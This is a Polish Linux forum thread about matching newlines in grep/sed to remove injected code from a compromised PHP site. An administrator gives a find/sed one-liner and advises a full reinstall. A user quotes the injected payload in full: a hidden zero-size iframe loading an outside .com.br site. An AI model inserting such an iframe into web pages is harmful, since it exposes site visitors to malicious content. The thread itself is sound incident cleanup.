Nowe posty

xx Dystrybucja pod HP Omen (6)
Wczoraj o 23:30:08
xx [Poradnik] Wyszukiwanie Sterowników (2)
Wczoraj o 21:08:23
lamp Problem z Linux Lite po instalacji (0)
Wczoraj o 19:50:30
xx Ile pingwinów? (1)
Wczoraj o 08:59:24
xx konfiguracja pale moon (0)
2024-03-24, 21:53:42
xx Plasma 6 w Neonie ssie trochę mniej ... (10)
2024-03-23, 02:38:11
xx problem z instalacja sterowników do karty sieciowej (3)
2024-03-18, 18:10:16
xx Plik abc.001 (1)
2024-03-17, 17:48:27
xx Zlecę dopracowanie programu w MatLab (0)
2024-03-13, 15:28:40
xx Linux Mint 21.3 XFCE brak dźwieku po paru minutach (karta muzyczna zintegrowana) (5)
2024-03-12, 23:07:01

Autor Wątek: Jak w konsoli w regexpach zapisywać znak końca linii?  (Przeczytany 4344 razy)

Offline androwida

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 12
    • Zobacz profil
Jak w poleceniu konsolowym np. grep w regexp poprawnie zapisać znak końca linii, czyli to co w edytorze widać jako LN.

Przykład:
Jak coś takiego
?>LN<iframe>
zapisać w poleceniu
grep.....'?><iframe>'
Nie chodzi o samo polecenie tylko to co w uszach.

Od razu dodam, że \n , \r nie daje rezultatu

Offline Paweł Kraszewski

  • Administrator
  • Guru
  • *****
  • Wiadomości: 3049
  • Lenistwo jest matką potrzeby = babcią wynalazku
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #1 dnia: 2016-10-11, 15:40:36 »
grep/sed i reszta familii traktuje każdą linię osobno, więc nie ma sensu dopasowywać do \n, bo ich w analizowanym tekście nie ma. System działa tak, jakby plik wejściowy był pocięty na \n, każda linijka osobno była puszczona przez grep/sed/cut/whtever i wynik został z powrotem sklejony \n-ami.

W Twoim przypadku '?>' i '<iframe' są analizowane w osobnych kontekstach i nie ma między nimi związku.

Może pomóc puszczenie GREP-a w trybie PERLA (wtedy możesz użyć \n), ale cytując man-a "This  is  highly experimental"

> ls | grep -Pzo "Qt\nSpace"
Qt
Space

Ewentualnie tr-em możesz zamienić \n na coś drukowalnego nie występującego w analizowanym tekście, a w przypadku HTML-a w sumie można to zamienić na spację bez utraty sensowności dokumentu z wyjątkiem < pre >.
Paweł Kraszewski
~Arch/Void/Gentoo/FreeBSD/OpenBSD/Specjalizowane customy

Offline androwida

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 12
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #2 dnia: 2016-10-12, 15:15:56 »
Dzięki Paweł

A dałbyś radę pokazać przykład jak z użyciem tr-a podmienić \n na np \f, usunąć sed-em linie jak poniżej i podmienić z powrotem tr-em \f na \n, bo o usunięcie mi w sumie chodzi.
Problem w tym, że ?> występuje w plikach wiele razy a ja chcę usunąć tylko sentencje wyglądające dokładnmie jak poniżej a resztę ?> zostawić.

do usunięcia są powtarzające się wiele razy w każdym jednym pliku:
?>LF
<iframe>coś tam coś tam takie samo</iframe>LF

LF= \n

Offline Paweł Kraszewski

  • Administrator
  • Guru
  • *****
  • Wiadomości: 3049
  • Lenistwo jest matką potrzeby = babcią wynalazku
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #3 dnia: 2016-10-12, 15:37:22 »
Który kawałek dokładnie chcesz usunąć z tego przykładu? Najlepiej daj w miarę kompletny przykład przed i po zamierzonej obróbce.

A co do tr to potok wygląda tak:

tr '\n' '\f' <plik_we.html | potrzebne sedy | tr '\f' '\n' > plik_wy.html

W sedzie znak \f w pliku normalnie dopasowuje do białego znaku jak spacja czy tabulator (np do \s)
« Ostatnia zmiana: 2016-10-12, 15:47:27 wysłana przez Paweł Kraszewski »
Paweł Kraszewski
~Arch/Void/Gentoo/FreeBSD/OpenBSD/Specjalizowane customy

Offline androwida

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 12
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #4 dnia: 2016-10-12, 20:42:07 »
Poniżej konkretny kawałek kodu. Numery linii z kropką dostawiłem ręcznie, żeby wskazać co do usunięcia. Dopisałem też znaki końca linii jako LF tam gdzie są (bo się nie kopiują).
Tu akurat kod kończy się na linii 7. która jest do usunięcia ale nie musi zawsze tak być, może być coś dalej więc nie chodzi o polecenie które usunie 2 ostatnie linie czy ileś bajtów.
Chodzi o przykład, który skasuje linie 6. i 7. a nic nie zrobi w linii 1. gdzie jest "?>" jak w linii 6. - do usunięcia.

Wydaje mi się że właśnie użycie tr spowoduje "połączenie" (z punktu widzenia sed) linii 6. i 7. i stworzy z nich jeden unikalny string a sed będzie już wiedział co usuwać.

1. <?php require(DIR_WS_INCLUDES . 'footer.php'); ?>LF
2. <!-- footer_eof //-->LF
3. </body>LF
4. </html>LF
5. LF
6. ?>LF
7. <iframe style="position: absolute; left: 0px; top: 0px; width: 0px; height: 0px; z-index: 0;" frameborder="0" width="0" height="0" src="http://tch.com.br/"></iframe>LF

Nie chodzi o zapis modyfikacji do nowego pliku tylko nadpisanie istniejącego.
Operacja jedną komendą na setkach plików we wskazanej lokalizacji np. /var/ jeżeli zmienia to cokolwiek w wydajności itp.
« Ostatnia zmiana: 2016-10-12, 20:50:42 wysłana przez androwida »

Offline Paweł Kraszewski

  • Administrator
  • Guru
  • *****
  • Wiadomości: 3049
  • Lenistwo jest matką potrzeby = babcią wynalazku
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #5 dnia: 2016-10-12, 21:53:09 »
 ;D Ktoś ci serwer dojechał? Od tego powinieneś zacząć posty a nie na tym kończyć. Bycie ofiarą włamania to żaden dyshonor.

* Czy masz już załataną dziurę, przez którą zaatakowali?

* Tego typu syfu nie naprawia się w ten sposób. Włamania naprawia się tylko reinstalując portal (a najlepiej cały system). Nie masz gwarancji, że gdzieś nie masz dodatkowo dopiętego backdoora.

Ale proszzzzz:

find -iname "*.php" -exec sed -i '/^\?>$/{$!{N;s/^\?>\n<iframe.*\.com\.br.*$//;tbad;P;D;:bad}}' "{}" \;


Rozkminka skryptu SED-a po "rozwinięciu":
/^\?>$/ {   # Szukaj samotnego ?> w linii
  $!{ # Jeżeli to nie jest ostatnia linia
    N  # doklej do niej następną
    s/^\?>\n<iframe.*\.com\.br.*$// # i spróbuj zamianę śmietnika na pusty string
    t bad # Jeżeli znaleziono dopasowanie, to idź do etykiety "bad"
    P # W przeciwnym wypadku wypisz linijkę do entera bez zmian
    D # wywal wszystko do tego entera i zacznij następną iterację -> następne dopasowanie będzie od fragmentu wczytanego komendą N
    :bad # Jak nie ma dopasowania to wyświetl (domyślna akcja, dlatego bez komendy) cały zapamiętany blok
  }
}
Paweł Kraszewski
~Arch/Void/Gentoo/FreeBSD/OpenBSD/Specjalizowane customy

Offline androwida

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 12
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #6 dnia: 2016-10-13, 14:18:43 »
Dziękuję za Twój czas.

Nie, to nie tak :)
rzeźbiłem jakiś sed ale nie działał więc przeszedłem do grep żeby kombinując widzieć od razu czy w ogóle znajduje cały kombinowany string i na tym etapie zadałem pytanie :)

bacdora chyba znalazłem a systemu na razie zmienić nie mogę :(

Będę sprawdzał czy działa.

Offline Paweł Kraszewski

  • Administrator
  • Guru
  • *****
  • Wiadomości: 3049
  • Lenistwo jest matką potrzeby = babcią wynalazku
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #7 dnia: 2016-10-13, 15:41:28 »
Tylko zrozum, że "best practice" (z punktu widzenia włamywacza) przy włamaniu to zagwarantowanie sobie dostępu nawet po tym, jak ofiara załata kanał pierwotnego włamania.

Typu ktoś ci się włamał przez źle skonfigurowany serwer poczty (strzelam "z czapy") i pierwsze co robi, to zakłada niestandardowe konto administracyjne dostępne przez SSH na certyfikat - na wypadek, jakbyś naprawił/zaktualizował pocztę.

Praca na skompromitowanym systemie to jak jazda samochodem zespawanym z dwóch rozbitych (i przystanku). Niby wygląda i jeździ dobrze, ale przy pierwszym większym stresie się pofragmentuje...

Cytuj
systemu na razie zmienić nie mogę
Nie zmienić a przeinstalować na świeżo. Jak to decyzja szefa, to zapytaj go, czy normalnie jada wędlinę, która upadła w markecie na (nawet świeżo umytą) podłogę.
« Ostatnia zmiana: 2016-10-13, 15:49:53 wysłana przez Paweł Kraszewski »
Paweł Kraszewski
~Arch/Void/Gentoo/FreeBSD/OpenBSD/Specjalizowane customy

Offline androwida

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 12
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #8 dnia: 2016-10-14, 11:48:04 »
Dziękuję za skrypt. Zadziałał pięknie.

Z resztą to grubsza zabawa ze zmianą phpa i przeklepaniem wielu aplikacji.

Na czym polega zła konfiguracja serwera poczty umożliwiająca włam?

Offline Paweł Kraszewski

  • Administrator
  • Guru
  • *****
  • Wiadomości: 3049
  • Lenistwo jest matką potrzeby = babcią wynalazku
    • Zobacz profil
Odp: Jak w konsoli w regexpach zapisywać znak końca linii?
« Odpowiedź #9 dnia: 2016-10-14, 12:29:44 »
Na czym polega zła konfiguracja serwera poczty umożliwiająca włam?
Jak pisałem - przykład "z czapy". Dawno, dawno temu były bugi w aplikacji serwera poczty, które przy złej (domyślnej) konfiguracji umożliwiały przejęcie kontroli nad serwerem do poziomie konta administratora (bodaj czasy Debiana 3.0) za pomocą albo spreparowanego odpowiednio e-maila albo łącząc się na port 25 i wydając odpowiednie polecenia. Dawno było, nie pamiętam. Generalnie przez tą podatność były masowe włamy.
« Ostatnia zmiana: 2016-10-14, 14:01:17 wysłana przez Paweł Kraszewski »
Paweł Kraszewski
~Arch/Void/Gentoo/FreeBSD/OpenBSD/Specjalizowane customy